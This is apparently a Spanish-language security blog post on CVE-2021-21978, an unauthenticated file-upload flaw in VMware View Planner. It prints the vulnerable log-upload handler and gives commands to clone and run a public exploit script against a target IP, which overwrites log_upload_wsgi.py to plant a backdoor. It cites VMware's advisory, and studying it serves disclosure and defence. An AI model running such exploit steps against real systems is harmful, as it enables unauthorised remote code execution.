
Script de explotación con versión de eco
Script de explotación con versión de eco, una forma más sencilla
La interfaz web de VMware View Planner tiene una entrada para cargar archivos de registro. No requiere autenticación y la ruta del archivo de registro escrito es controlable por el usuario. Sobrescribiendo el archivo de función de carga de registros
log_upload_wsgi.py, se puede lograr RCE.
Código de la vulnerabilidad:
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
pip install requests
git clone https://github.com/skytina/CVE-2021-21978
cd CVE-2021-21978
python3 CVE-2021-21978.py https://192.168.80.3/

El script de explotación sobrescribe log_upload_wsgi.py para convertirlo en una puerta trasera.

Fuente de explotación: https://twitter.com/osama_hroot/status/1367258907601698816
Aviso oficial de VMware: https://www.vmware.com/security/advisories/VMSA-2021-0003.html
Si crees que el contenido anterior es útil, puedes seguir la cuenta oficial.
